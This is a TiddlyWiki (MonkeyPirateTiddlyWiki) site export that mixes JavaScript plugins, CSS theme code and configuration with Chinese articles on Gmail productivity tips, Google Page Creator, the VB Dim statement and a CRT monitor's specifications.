Ctrl-Shift-Enter^^\n<<option chkConfirmDelete>> ConfirmBeforeDeleting\nMaximum number of lines in a tiddler edit box: <<option txtMaxEditRows>>\nFolder name for backup files: <<option txtBackupFolder>>\n<<option chkInsertTabs>> Use tab key to insert tab characters instead of jumping to next field\n<<option txtFileSystemCharSet>> Character set to use for saving (Firefox/Mozilla only)
/***\n| Name|CloseOnCancelPlugin|\n| Description|Closes the tiddler if you click new tiddler then cancel. Default behaviour is to leave it open|\n| Version|3.0 ($Rev: 1845 $)|\n| Date|$Date: 2007-03-16 15:19:22 +1000 (Fri, 16 Mar 2007) $|\n| Source|http://mptw.tiddlyspot.com/#CloseOnCancelPlugin|\n| Author|Simon Baird <simon.baird@gmail.com>|\n| License|http://mptw.tiddlyspot.com/#TheBSDLicense|\n***/\n//{{{\nmerge(config.commands.cancelTiddler,{\n\n handler_orig_closeUnsaved: config.commands.cancelTiddler.handler,\n\n handler: function(event,src,title) {\n this.handler_orig_closeUnsaved(event,src,title);\n if (!store.tiddlerExists(title) && !store.isShadowTiddler(title))\n story.closeTiddler(title,true);\n return false;\n }\n\n});\n\n//}}}\n\n
//{{{\nconfig.options.chkHttpReadOnly = false; // means web visitors can experiment with your site by clicking edit\nconfig.options.chkInsertTabs = true; // tab inserts a tab when editing a tiddler\nconfig.views.wikified.defaultText = ""; // don't need message when a tiddler doesn't exist\nconfig.views.editor.defaultText = ""; // don't need message when creating a new tiddler \n//}}}\n
[[Welcome to AD062's Offical Website]]\n[[资源总集]]\n[[main]]\n
Dim语句 返回 \n\n声明变量并分配存储空间。\n\n语法\n\nDim [WithEvents] varname[([subscripts])] [As [New] type] [, [WithEvents] varname[([subscripts])] [As [New] type]] . . .\n\nDim 语句的语法包含下面部分：\n\n部分 描述 \nWithEvents 可选的。关键字，说明 varname 是一个用来响应由 ActiveX 对象触发的事件的对象变量。只有在类模块中才是合法的。使用 WithEvents，可以声明任意个所需的单变量，但不能使用 WithEvents 创建数组。New 和 WithEvents 不能一起使用。 \nvarname 必需的。变量的名称；遵循标准的变量命名约定。 \nsubscripts 可选的。数组变量的维数；最多可以定义 60 维的多维数组。subscripts 参数使用下面的语法： \n [lower To] upper [, [lower To] upper] . . . \n 如果不显式指定 lower，则数组的下界由 Option Base 语句控制。如果没有使用 Option Base 语句，则下界为 0。 \nNew 可选的。可隐式地创建对象的关键字。如果使用 New 来声明对象变量，则在第一次引用该变量时将新建该对象的实例，因此不必使用 Set 语句来给该对象引用赋值。New 关键字不能声明任何内部数据类型的变量，以及从属对象的实例，也不能与 WithEvents 一起使用。 \ntype 可选的。变量的数据类型；可以是 Byte、布尔、Integer、Long、Currency、Single、Double、Decimal（目前尚不支持）、Date、String（对变长的字符串）、String * length （对定长的字符串）、Object、Variant、用户定义类型、或对象类型。所声明的每个变量都要一个单独的 As type 子句。 \n\n\n说明\n\n在模块级别中用 Dim 声明的变量，对该模块中的所有过程都是可用的。在过程级别中声明的变量，只在过程内是可用的。\n\n可以使用 Dim 语句在模块级或过程级中声明变量的数据类型。例如，下面的语句声明了 Integer 类型的变量。\n\nDim NumberOfEmployees As Integer\n\n也可以使用 Dim 语句来声明变量的对象类型。下面的语句为工作表的新建实例声明了一个变量。\n\nDim X As New Worksheet\n\n如果定义对象变量时没有使用 New 关键字，则在使用该变量之前，必须使用 Set 语句将该引用对象的变量赋值为一个已有对象。在该变量被赋值之前，所声明的对象变量有一个特定值 Nothing，这个值表示该变量没有指向任一个对象实例。\n\n也可以使用带空圆括号的 Dim 语句来定义动态数组。在定义动态数组后，可以在过程内使用 ReDim 语句来定义该数组的维数和元素。如果试图在 Private，Public 或 Dim 语句中重新定义一个已显式定义了大小的数组的维数时，就会发生错误。\n\n如果不指定数据类型或对象类型，且在模块中没有 Deftype 语句，则该变量按缺省设置是 Variant 类型。\n\n当初始化变量时，数值变量被初始化为 0，变长的字符串被初始化为一个零长度的字符串 ("")，而定长的字符串则用 0 填充。Variant 变量被初始化为 Empty。用户自定义类型的变量的每个元素作为各自独立的变量进行初始化。\n\n注意 当在过程中使用 Dim 语句时，通常将 Dim 语句放在过程的开始处。\n
[[MptwEditTemplate]]\n
/***\n| Name:|ExtentTagButtonPlugin|\n| Description:|Adds a New tiddler button in the tag drop down|\n| Version:|3.0 ($Rev: 1845 $)|\n| Date:|$Date: 2007-03-16 15:19:22 +1000 (Fri, 16 Mar 2007) $|\n| Source:|http://mptw.tiddlyspot.com/#ExtendTagButtonPlugin|\n| Author:|Simon Baird <simon.baird@gmail.com>|\n| License|http://mptw.tiddlyspot.com/#TheBSDLicense|\n***/\n//{{{\n\n// can't hijack a click handler. must redefine this entirely.\n// would be good to refactor in the core...\n// this version copied from 2.1.3 core\n\n// Event handler for clicking on a tiddler tag\nfunction onClickTag(e)\n{\n if (!e) var e = window.event;\n var theTarget = resolveTarget(e);\n var popup = Popup.create(this);\n var tag = this.getAttribute("tag");\n var title = this.getAttribute("tiddler");\n if(popup && tag)\n {\n var tagged = store.getTaggedTiddlers(tag);\n var titles = [];\n var li,r;\n for(r=0;r<tagged.length;r++)\n if(tagged[r].title != title)\n titles.push(tagged[r].title);\n var lingo = config.views.wikified.tag;\n\n wikify("<<newTiddler label:'New tiddler' tag:"+tag+">>",createTiddlyElement(popup,"li")); // <---- the only modification\n\n if(titles.length > 0)\n {\n var openAll = createTiddlyButton(createTiddlyElement(popup,"li"),lingo.openAllText.format([tag]),lingo.openAllTooltip,onClickTagOpenAll);\n openAll.setAttribute("tag",tag);\n createTiddlyElement(createTiddlyElement(popup,"li",null,"listBreak"),"div");\n for(r=0; r<titles.length; r++)\n {\n createTiddlyLink(createTiddlyElement(popup,"li"),titles[r],true);\n }\n }\n else\n createTiddlyText(createTiddlyElement(popup,"li",null,"disabled"),lingo.popupNone.format([tag]));\n createTiddlyElement(createTiddlyElement(popup,"li",null,"listBreak"),"div");\n var h = createTiddlyLink(createTiddlyElement(popup,"li"),tag,false);\n createTiddlyText(h,lingo.openTag.format([tag]));\n }\n Popup.show(popup,false);\n e.cancelBubble = true;\n if (e.stopPropagation) e.stopPropagation();\n return(false);\n}\n\n//}}}\n\n
<<<\n!技巧推荐：怎样把 Gmail 变成商业日志以及更多的小技巧\n由. HUNG 将文章归档于 Google\ngmail_businessdiary.jpggmail_businessdiary.jpg\n\n这个是 Steve Rubel 写的一则总结技巧，怎样把 Gmail 变成商业日志，以及相关更多的小技巧，都是相当实用的，特别对于经常使用 Gmail 为主力邮箱的朋友们，会让日常的事务处理变得更为效率化和方便。译文是虹拜托花花翻译的，原文在这里，翻译得很不错，花花都花了不少时间去做这篇译文，也愿更多的中文用户和朋友能从中学到实用的技巧 -- 毕竟，任何的工具和应用，都是为了方便日常的生活和工作。\n\n译文正文：《怎样把Gmail变成商业日志以及更多的小技巧》\n\n前几个星期我写了两篇关于把（如何）把Gmail变成你的个人神经中枢（PNC）（原文链接：第一部分，第二部分）的文章。这几篇和其他那些类似的"如何把"类的文章始终是读者最喜欢看到的文章之一，所以我打算继续这么写（看来在文章的取向上国内的读者和国外的读者非常相似哦）。这看起来和营销和PR（公共关系）没有什么直接关系，但相信我它们是有关的。我们在应对我们和互联网日益挂钩的客户，数据洪流和自己忙碌的生活时都需要这类的生存技巧。当你在阅读这些文字的时候，想想你工作时候所用的那些程序吧。\n\n这篇文章是Gmail PNC系列的第三篇。其中所包含的内容主要是通过一些小工具和其他的程序，比如Outlook和Yahoo一起工作的。就和其他的文章一样，这篇也会有很多段……（-_-分段是个好习惯）\n\n1.怎样把Gmail变成商业日志（Gmail+Jott/Callwave+Gcal或者Yahoo/MSN Calender）\n\n2.怎样在读书的时候使用Gmail给书添加标签（Gmail+Amazon.com+Google Toolbar）\n\n3.怎样使用Gmail在需要的时候得到重要的信息/警报（Gmail/Gtalk+RSS+Feedcrier\n\n4.怎样把Gmail变成可搜索的新闻河流式的RSS阅读器\n\n怎样把Gmail变成商业日志\n\n知识工作者参加一大堆会议。每天我们还要从成吨的零散的信息碎片收集有用信息。这一切都必须加以处理。为了不要忘个精光（我经常会T_T），我们会做笔记。大部分时间这种笔记的工作都是用纸和笔来做的（什么？你用沙盘？囧）- 除非你对笔记本电脑/平板电脑有无限的爱（我是说，已经完全习惯使用它们）。很多人不是这样的。我使用David Allen的GTD（Get Things Done，看看这篇文章吧）系统并且把它作为我唯一的收集桶（GTD方法的一种概念，别点我）嵌入到Gmail里面。\n\n我渴望我的会议和重要的笔记都能有个可以搜索的记录。这怨念导致我在几年之中使用了各种巨型的系统。理想状态中，我想要我的数据能够在任何时候从任何电脑或者移动终端上面获得。更理想点，我想要他们按照日期排序，在最顶端是我需要参加的会议列表 - 比如，就像纸上的商务日志一样。如果你把线上日历和Gmail结合在一起使用，你会发现原来那种方法真的是烂到家口牙。\n\n我们工作的地方有交换服务器。我把它用于团队调度但同时我也把它和Google Calendar保持同步。Google Calendar和其他类似的线上日历可以通过email向你发送日程表。我的日程表每天早上4：38时准时抵达，通常是我起床前的几分钟。使用Gmail的过滤器/标签我可以自动获取这些被注释过标签的日志。\n\n一旦信息抵达，我把它放在收件箱中一整天。然后，作为笔记，我回复这些email，但把收件人地址改为我自己的邮件地址。所以经过时间推移，我不断地添加回复给自己的会话线程。这所有的一切都会被串联为一个单独的会话。\n\n这还会变得更好。如果我出差了，我会在我的Moleskine（一种很奢侈的笔记本本啦，生活帮上也有介绍过哦）上面然后在会议之间的空隙打我的Jott（参考译言上的文章）或者Callwave（参考）。这些同样也会发送到我的收件箱里（不管是文字信息还是语音信息）。然后，当我回到我的电脑上，我会把这些笔记附在另一份给我自己的回复上然后把整个会话归档。最终，当周末到了的时候我会将这七份记录作为我每周回顾的一部分重新过一遍。下面的图片是某一个周末当我做周末回顾时所使用的。\n\n在读书的时候使用Gmail给书添加标签\n\n我购买了大量的书籍和有声书。他们几乎都是关于商业或者运动的。我从每一本书中获得知识并且贪心不足的想要把读书感悟全部记录下来。再一次的，Gmail拯救了我。这种技巧建立在我们之前已经掌握了的技巧之上。\n\n使用我们在Gmail PNC第一部分中所讲的Google Toolbar技巧，我在Amazon.com上看到这本书然后发送书籍信息的摘录，包括书籍名字，作者和摘要到我自己的邮箱 steverubel+secretword@gmail.com上。我使用Gmail过滤器将这些信件自动标注为"booknotes"。接下来，我继续用这些我需要记住的书的记录回复我自己。这些会成为一个为以后搜索/检索而准备的会话。\n\ngmail_booknotes.jpggmail_booknotes.jpg\n\n当你需要的时候获取重要信息\n\n假设在你开车回家的路上高速公路上却有一个大大大塞车(想起三环了？)或者更糟糕的，有一股飓风或者禁断的海啸正在向你呼啸而来（想起沙尘暴了？）。我打赌你肯定想提前知道这些。你可以通过Gmail和Gtalk，一些RSS Feeds和Feedcrier（一种IM FEED订阅服务）结合来即时的获取这些信息。\n\n我的Gmail和在Gmail中内嵌的Google Talk客户端在我在一使用电脑的时候就会保持开启状态。当我外出有事的时候，我会在移动终端上打开Gtalk和（或者）Gmail移动版（除非我在飞机上）。不管怎么说，感谢Gmail/Gtalk，我不会错过任何重要信息。在这里，关键因素是这些工具都必须存在于RSS feed中。\n\n比方说，我从国家气象服务中抽取本地灾害气候警报服务并放在Feedcrier中，Feedcrier会将这些信息经由IM发送。这种服务的付费版本甚至可以在你不在线的情况下依旧把信息发送给你。你也可以用Yahoo交通feeds或者海啸警报来做到同样的事情（沙尘暴警报功能有没有人开发？）。\n\ngmail_feedcrier.jpggmail_feedcrier.jpg\n\n把Gmail变成可搜索的新闻河流（River of News）式的RSS阅读器\n\n我使用Google RSS Reader。但是，我检视Gmail的次数更多更频繁。再一次的，当我外出在会议和会议之间不停流窜的时候，这种情况就更为普遍了。\n\n我在GReader中放着一个叫"Faves"的我最喜欢的feeds文件夹。你可以在这儿浏览下。这个特别的聚合页面有它自己的RSS feed。我将这个feed放在RSSfwd中发送，它会将你的feed发送到你的email帐号中。另一个同样的服务是R-Mail。\n\n当feed更新的时候，他们会得到一个"Feeds"的小标签并存档。同时，RSSfwd还提供方便的线索追踪功能使所有的这些文章形成一个如同Gmail对话一样的整体。这在Gmail中形成了巨大的新闻河流（Rive of News Style）。更棒的是，如果我取消又增加了一些feeds到我的"Faves"组里。我不需要重新把他们从RSSfwd中导入，再者，他们是完全可搜索的。这些技巧在你想用Newsgator Online分享自己的feeds时也是有效的。\n\ngmail_gmailriver_2.jpggmail_gmailriver_2.jpg\n\n（全文完）\n\nbtw, 译言那边不注册登录就没法评分，对不住了，花花。\n\n固定链接: 技巧推荐：怎样把 Gmail 变成商业日志以及更多的小技巧\n关键词: Google 在线工具 商务应用 Tips Web2.0 \n\n引用: http://www.creative-weblogging.com/cgi-bin/mt-tb.pl/62443\n<<<\n----\n<<<\nGOS 上面总有一些和 Google 有关的 Tips，都很实用。今天看见他提到了 Gmail 中一些隐藏的 Label，其实也不算隐藏，只是属于系统默认。通过 Gmail 上方的搜索框，来一起对对号：\n\nlabel:inbox 这个就是一开始的收件箱\nlabel:star (label:starred) 这个是加星邮件\nlabel:draft (label:drafts) 草稿\nlabel:sent (label:sentmail, label:sent-mail, label:sent mail) 已发邮件\nlabel:all (label:allmail, label:all-mail, label:all mail) 全部邮件\nlabel:read 和 label:unread 分别对应已读邮件和未读邮件\nlabel:voicemail (label:voicemails) 包含语音留言的邮件\nlabels:chat (label:chats) 聊天记录\n<<<\n----\n<<<\nhas:attachment before:2005/12/31\n搜索带附件的2005/12/31前的邮件\n<<<\n----\n<<<\n\n!译文：把Gmail变成你的个人神经中枢\n发布于 二月 28th, 2007 在 Tips.\n\n推荐： Pageflakes(飞鸽)中文版已发布，赶快来创建自已的个性化首页。\n\n原文：Turn Gmail Into Your Personal Nerve Center\n作者：Steve Rubel\n\n把Gmail变成你的个人神经中枢\n\nlogo1.giflogo1.gif\n\n我感觉我是非常幸运的，当Gmail beta发布时我就获得并使用它。即使我用这一个帐号已差不多有三年时间并且每天会有100多封的Email，但我现在还只是使用了2.8G空间中的18%。\n\n在最近的几个星期中，我开始利用Gmail的大空间、速度和强大的搜索/标签等功能来做更多的事情，不仅仅是email功能。你可以把它变成你个人的神经中枢，而且可应用于任何PC或移动设备。下面中的大部分Life Hacks都没有书写过。\n\n该系列有以下几个部分…\n\n * 怎样使Gmail成为一个强劲的数据库？(Gmail + the Google Toolbar)\n * 如何通过Gmail获得实事新闻 (Gmail+ Google Talk + Twitter)\n * 如何自动存储书签到Gmail中?(Gmail + del.icio.us + Yahoo Alerts)\n * 如何通过Gmail管理你的日历及行事列表?(Gmail + Backpack + GCal + GTalk + iMified)\n * 如何利用Gmail发布Blog文章? (Gmail + Wordpress/TypePad/Blogger + IMified)\n\n使Gmail成为一个强劲的数据库\n\n我沉迷信息获取，永远无法得到满足。我通过Google Reader订阅了275个Feed，并且还使用很多的书签来管理它们。\n\n每天我穿梭于各个Web页面来保存我今后想要参考的文章。之前我使用Yojimbo来管理所有这些信息。不过当我要传输一些或需要通过移动设备访问的时候，我发现当这个方案是不合格的。但是Google NoteBook无法在移动设备上工作，并且其搜索功能也有所欠缺。所以开始使用Gmail及Google Toolbar了。\n\n最新的Google Toolbar具备发送到Gmail的功能，选择一些文字或图片后，在其上面点击右键并点击发送到Gmail，然后Google Toolbar会自动生成一封新邮件。\n\n现在，当我发现我想保存的东西时，我会利用此功能把它发送到我的隐秘联系人中。此地址就是 steverubel+[任何字符]@gmail.com。（这里是Lifehacer对这个功能的解释)\n\n一旦文件到达我的Gmail收件箱中后，我就使用过滤功能进行存档并加上@Database标签。此外，我正在使用同样具有过滤功能的收费版Google Apps，并且把这些都转发了过去，它的每个Gmail帐户具备10G的存储空间。现在我需要做的就是把它们打上@Databaese标签及关键字。哇噢，一个即时的个人数据库！\n\n[Riku注：一个Gmail地址可延伸出无数个地址，只要在你的gmail用户名后面添加 “+” 及任意字符就是一个新的邮箱地址，但发送到此新邮箱的邮件还是会存放于原来的邮件中，只是收到的邮件中的To字段后面的内容为新邮箱地址。比如我在我的邮箱地址 lu.riku@gmail.com上加入 +blog创建了一个新的邮箱地址 lu.riku+blog@gmail.com，那么发送到该邮箱中的邮件还是存放于lu.riku@gmail.com中，但To后面的内容是新邮箱地址，如下图]\n\n2007-02-28_091116.png2007-02-28_091116.png\n\n这里有一张Stev Ballmer办公室的照片，我喜欢类似于这样图片并整理成文档。记住Google Toolbar会自动插入源URL地址。我也同样喜欢使用这种方法来存储笔记、点子及想法等。\n\ngmail database.jpggmail database.jpg\n\n如何通过Gmail获得实事新闻？\n\n我通常是一直在浏览器中开着Gmail，我也通使用Gmail中的Gtalk客户端。此外，我现在已变成了Twitter的一个粉丝，Twitter是一个微型Blogging工具，你可以通过Gtalk或其他IM客户端来操控它。\n\n在Twitter上，有些人会从BBC和CNN获得信息并把它输入到Twitter中。因此，如果你一直开着Gmail的话，Twitter会通过IM来通知你有最新的消息。\n\n当我写这篇文章的时候，Defamer刚刚提供了来自于Academy Awards 的实时更新，并且这些内容通过Gmail中的Gtalk通知了我。\n\nTwitter CNN.jpgTwitter CNN.jpg\n\n\n如何自动存储书签到Gmail中?\n\n在Gmail中收藏内容是非常方便的。可是你是否知道，你可以通过del.icio.us来收藏书签并自动传送这些书签内容到你的Gmail数据库中？另外，假如你还使用 Google Reader来共享内容的话，你也可把这些内容自动传送到Gmail中。这样你就可以从你的神经中枢中非常方便的找到相应书签。\n\n想要达到上面所提到的功能的话，你所需要做的就是把你的del.icio.us及Google Reader的输出Feed添加到 Yahoo Alerts服务中，你可以选择”有新内容时”或”每日一封”这样型式的Email，然后可以在Gmail中设置过滤并标签为自动存档。当然这个功不仅仅局限于书签内容，适用于任何RSS Feed。\n\n2007-02-27_155314.png2007-02-27_155314.png\n\n\ngmail bookmarks.jpggmail bookmarks.jpg\n\n\n如何通过Gmail管理你的日历及行事列表?\n\nGmail本身还没有行事列表（to-do list）功能，Google Calendar也还没有整合此功能。可是，假如你正在使用GCal和Backpack 或Remember the Milk其中之一的话，你可以通过整合进Gmail的Gtalk并结合IMified来控制这些程序。\n\n你需要做的事情只是把IMified添加到你的Gtalk联系人中，这时你不仅可以查看你的日历或行事列表，而且还可对它们进行添加及删除等操作。关于IMified的详细操作方法见这里。\n\nimified.jpgimified.jpg\n\n如何利用Gmail发布Blog文章?\n\n最后，你还可以利用Gmail来发布Blog文章，假如你正在使用Blogger、Wordpress、Moveable Type 或是 TypePad等平台的话，那么最简单的方法是在这些平台中设置好你的moblogging（通过email发布blog文章）选项，在这其中添加你的 Gmail地址，允许通过该Email地址发布文章。另外，你也可以通过IMified（详细介绍）来发布Blog。\n\n当你利用大量免费工具结合Gmail的时候你可以做到更多，以上只是冰山一角而已。最后，我可能会在Google升级存储空间之前用完我的容量，但有一点是不会弄错的，Gmail俨然已成为网络版的瑞士军刀了。\n\n<完>\n<<<
!Google网页创建器\n\nlink:\nhttp://pages.google.com/ \n\n Google又推出了一项新服务-- Google Page Creator，透过这项服务，用户可以创建自己的网页。当然，这些空间都是由Google免费提供的。\n\n 这次推出的Google Page Creator还是beta版的，它集成样本布局，并使得用户可以按内容书写，上传图片并发布网页，而这一切都不需要了解HTML就可以实现。人们可以创建多链接的页面，并且这个服务提供了100MB的存储空间。\n\n用户的个人主页将被托管在gmail用户名.googlepages .com。每个新创建的网页将被自动地提交给Google的搜索引擎。\n\n这一网页编辑服务提供一个在线可视化工具，使用户能够开发网页。该工具提供了一个所谓的“所见即所得”界面，不要求用户具有编写HTML代码的技能。\n\n该服务目前还处于β测试阶段，而且只允许用户创建网页。Google在该服务的一个帮助网页上表示，它将在晚些时候推出一款网站开发工具。\n\nGoogle Page Creator网页编辑软件要求用户具有Gmail账户，支持IE和Firefox二种浏览器软件。\n\n对于网络行业有兴趣的同学应该早早学起来,技术发展得很快的.
/***\n| Name|HideWhenPlugin|\n| Description|Allows conditional inclusion/exclusion in templates|\n| Version|3.0 ($Rev: 1845 $)|\n| Date|$Date: 2007-03-16 15:19:22 +1000 (Fri, 16 Mar 2007) $|\n| Source|http://mptw.tiddlyspot.com/#HideWhenPlugin|\n| Author|Simon Baird <simon.baird@gmail.com>|\n| License|http://mptw.tiddlyspot.com/#TheBSDLicense|\nFor use in ViewTemplate and EditTemplate. Example usage:\n{{{<div macro="showWhenTagged Task">[[TaskToolbar]]</div>}}}\n{{{<div macro="showWhen tiddler.modifier == 'BartSimpson'"><img src="bart.gif"/></div>}}}\n***/\n//{{{\n\nwindow.removeElementWhen = function(test,place) {\n if (test) {\n removeChildren(place);\n place.parentNode.removeChild(place);\n }\n};\n\nmerge(config.macros,{\n\n hideWhen: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {\n removeElementWhen( eval(paramString), place);\n }},\n\n showWhen: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {\n removeElementWhen( !eval(paramString), place);\n }},\n\n hideWhenTagged: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {\n removeElementWhen( tiddler.tags.containsAll(params), place);\n }},\n\n showWhenTagged: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {\n removeElementWhen( !tiddler.tags.containsAll(params), place);\n }},\n\n hideWhenTaggedAny: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {\n removeElementWhen( tiddler.tags.containsAny(params), place);\n }},\n\n showWhenTaggedAny: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {\n removeElementWhen( !tiddler.tags.containsAny(params), place);\n }},\n\n hideWhenTaggedAll: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {\n removeElementWhen( tiddler.tags.containsAll(params), place);\n }},\n\n showWhenTaggedAll: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {\n removeElementWhen( !tiddler.tags.containsAll(params), place);\n }},\n\n hideWhenExists: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {\n removeElementWhen( store.tiddlerExists(params[0]) || store.isShadowTiddler(params[0]), place);\n }},\n\n showWhenExists: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {\n removeElementWhen( !(store.tiddlerExists(params[0]) || store.isShadowTiddler(params[0])), place);\n }}\n\n});\n\n//}}}\n\n
MITSUBISHI RDF221H+ (OEM COMPAQ P1220)\n\n[img[Gonse's monitor|http://files.myopera.com/jonathan.gonse/blog/File.jpg]]\n三菱第二代纯平钻石珑\n三菱超专业外观及电路设计\n三菱NaviSetXP导航校正\n完整的用户菜单控制系统\n支持三段色彩增益调校\n支持四级亮度模式预设选择\n全球顶级390兆峰值带宽\n支持双接口双主机输入\n内置4接口有源USB集线器\n\n-------------------------------------------\n不必多做介绍的机型！全面超越SONY的三菱显示器颠峰之作！性能指标更超越三\n菱国际版名机DP2060U，行频达到顶尖的130khz，峰值带宽则超过390Mhz。显示\n器拥有了顶尖的配置：附带USB集线器、内置双接口输入,并内置三菱导航校正系\n统NaviSetXP控制器，支持视窗内使用软件校正显示器菜单。康柏P1220是在P1210\n之后三菱为其制造的又一款OEM产品，在第二代顶级型号RDF221H 的基础上改进，\n除了电路上的更新外，更采用了近似三菱最新的RDF225WG的外观设计，相对于原\n型机在控制面板和后盖有明显的改进，更能体现该机的专业气质。\n-------------------------------------------\n |三菱第二代纯平钻石珑显象管|\n |全屏无差别0.24毫米精密栅距|\n |高达390兆赫兹峰值带宽|\n |全球顶尖指标2048x1536下最高83赫兹刷新|\n |全球磁场调节绝无偏色烦恼|\n |5档用户模式无级色温精确控制|\n |三菱Naviset专业控制系统|\n |三菱FinePictureMode(FPM)画质控制|\n |节能模式下最低耗电量仅为3瓦|\n |100-240伏特全球电源适应|\n |日本三菱长崎工厂原装制造|\n |通过包括TCO99的多项国际安全认证|\n-------------------------------\n[尺寸] 22英寸\n[机型] MITSUBISHI RDF221H+ OEM COMPAQ P1220\n[显管] 三菱第二代纯平钻石珑显象管\n[带宽] 峰值带宽 2048 x 1536 at 83hz 390mhz\n 典型带宽 1600 x 1200 at 108hz 360mhz\n 官方推荐的稳定指标：\n 2048 x 1536 at 80hz\n 1920 x 1440 at 85hz\n 1600 x 1200 at 100hz\n 1280 x 1024 at 120hz\n 1024 x 768 at 160hz\n[栅距] 0.24毫米全屏无差别栅距\n[电源] 100-240v全球电源适应\n[接口] 标准HD15接口 x 2(支持DDC2B和DDC/CI传输模式)\n 有源USB控制器(支持NaviSet XP by DDC/CI)\n 有源USB集线器(可直接接驳USB设备上传 x1 下载 x4 )\n 支持双主机输入和面板直接切换输入信号\n 以上接口全部配齐专业级全新附件\n[出厂] 日本三菱日电长崎工厂原装制造
[[Welcome to AD062's Offical Website]][[本站语法]][[资源总集]]
<!--{{{-->\n<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml'/>\n<!--}}}-->\n\n<style type="text/css">body {background:#3b3b3b;#contentWrapper {display:none;}</style><div id="SplashScreen" style="border: 3px solid #454545; display: block; text-align: center; width: 320px; margin: 100px auto; padding: 50px; color:#000; font-size: 28px; font-family:Tahoma; background-color:#5f5f5f;"><b>No.62 Treasure</b><br> is loading<blink> ...</blink><br><br><span style="font-size: 15px; color:red;">Firefox is recommended.</span></div>
[[MonkeyPirateTiddlyWiki|http://mptw.tiddlyspot.com]] is a distribution of [[TiddlyWiki|http://www.tiddlywiki.com/]] created by Simon Baird. See [[the web site|http://mptw.tiddlyspot.com/]] for more information.\n!!Upgrading ~MonkeyPirateTiddlyWiki\nThis "empty" ~MonkeyPirateTiddlyWiki file comes pre-installed with the core ~MonkeyPirateTiddlyWiki plugins. You can upgrade these core plugins to the latest version by doing the following:\n* Click ImportTiddlers\n* Click "Choose..." and select "~MptwUpgradeURL"\n* Click "fetch"\n* Click the checkbox in the first column heading to select all tiddlers\n* Click "More actions..." and select "Import these tiddlers"\n* Click "OK" to confirm you want to overwrite the tiddlers\n* Save and reload\n
<!--{{{-->\n\n<div id='topMenu' refresh='content' tiddler='MainMenu'></div>\n<div id='sidebar'>\n<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>\n<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>\n</div>\n<div id='displayArea'>\n<div id='messageArea'></div>\n<div id='tiddlerDisplay'></div>\n</div>\n<!--}}}-->
/*{{{*/\n/*Blackicity Theme for TiddlyWiki*/\n/*Design and CSS by Saq Imtiaz*/\n/*Version 1.0*/\n/*}}}*/\n/*{{{*/\nbody{ font-family: "Neue Helvetica", Helvetica, "Lucida Grande", Verdana, sans-serif;\n background-color: #fff;\n color: #333;}\n\n#topMenu {position:relative; background:#282826; padding:14px; color:#fff;font-family:"宋体",'Lucida Grande', Verdana, Sans-Serif;}\n#topMenu br {display:none;}\n\n#topMenu a{ color: #999;\n padding: 0px 8px 0px 8px;\n border-right: 1px solid #444;}\n#topMenu a:hover {color:#fff; background:transparent;}\n\n#displayArea {margin-left:1em; margin-bottom:2em; margin-top:0.5em;}\n\n\na, a:hover{\ncolor:#333;\ntext-decoration: none; background:transparent; \n}\n\n.viewer a, .viewer a:hover {border-bottom:1px dotted #333; font-weight:bold;}\n\n\n.viewer .button, .editorFooter .button{\ncolor: #333;\nborder: 1px solid #333;\n}\n\n.viewer .button:hover,\n.editorFooter .button:hover, .viewer .button:active, .viewer .highlight,.editorFooter .button:active, .editorFooter .highlight{\ncolor: #fff;\nbackground: #333;\nborder-color: #333;\n}\n\n.tiddler .viewer {line-height:1.45em;}\n.title {color:#222; border-bottom:1px solid#222; font-family:'Lucida Grande', Verdana, Sans-Serif; font-size:1.5em;}\n.subtitle, .subtitle a { color: #999999; font-size: 0.95em;margin:0.2em;}\n.shadow .title{color:#999;}\n\n.toolbar {font-size:90%;}\n.selected .toolbar a {color:#999999;}\n.selected .toolbar a:hover {color:#333; background:transparent;border:1px solid #fff;}\n\n.toolbar .button:hover, .toolbar .highlight, .toolbar .marked, .toolbar a.button:active{color:#333; background:transparent;border:1px solid #fff;}\n\n/***\n!Sidebar\n***/\n#sidebar { margin-bottom:2em !important; margin-bottom:1em; right:0;\n}\n\n/***\n!SidebarOptions\n***/\n#sidebarOptions { padding-top:2em;background:#f3f3f3;padding-left:0.5em;}\n\n#sidebarOptions a {\n color:#333;\n background:#f3f3f3;\n border:1px solid #f3f3f3;\n text-decoration: none;\n}\n\n#sidebarOptions a:hover, #sidebarOptions a:active {\n color:#222;\n background-color:#fff;border:1px solid #fff;\n }\n\n#sidebarOptions input {border:1px solid #ccc; }\n\n#sidebarOptions .sliderPanel {\n background: #f3f3f3; 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/***\n| Name|MptwLayoutPlugin|\n| Description|A package containing templates and css for the MonkeyPirateTiddlyWiki layout|\n| Version|3.0 ($Rev: 1845 $)|\n| Source|http://mptw.tiddlyspot.com/#MptwLayoutPlugin|\n| Author|Simon Baird <simon.baird@gmail.com>|\n| License|http://mptw.tiddlyspot.com/#TheBSDLicense|\n!Notes\nPresumes you have TagglyTaggingPlugin installed. To enable this you should have a PageTemplate containing {{{[[MptwPageTemplate]]}}} and similar for ViewTemplate and EditTemplate.\n***/\n//{{{\n// used in MptwViewTemplate\nconfig.mptwDateFormat = 'DD/MM/YY';\nconfig.mptwJournalFormat = 'Journal DD/MM/YY';\n//config.mptwDateFormat = 'MM/0DD/YY';\n//config.mptwJournalFormat = 'Journal MM/0DD/YY';\n\nconfig.shadowTiddlers.GettingStarted += "\sn\snSee also MonkeyPirateTiddlyWiki.";\n\n//}}}\n\n//{{{\nmerge(config.shadowTiddlers,{\n\n'MptwEditTemplate':[\n "<!--{{{-->",\n "<!--- http://mptw.tiddlyspot.com/#MptwEditTemplate ($Rev: 1829 $) --->",\n "<div class=\s"toolbar\s" macro=\s"toolbar +saveTiddler saveCloseTiddler closeOthers -cancelTiddler cancelCloseTiddler deleteTiddler\s"></div>",\n "<div class=\s"title\s" macro=\s"view title\s"></div>",\n "<div class=\s"editLabel\s">Title</div><div class=\s"editor\s" macro=\s"edit title\s"></div>",\n "<div 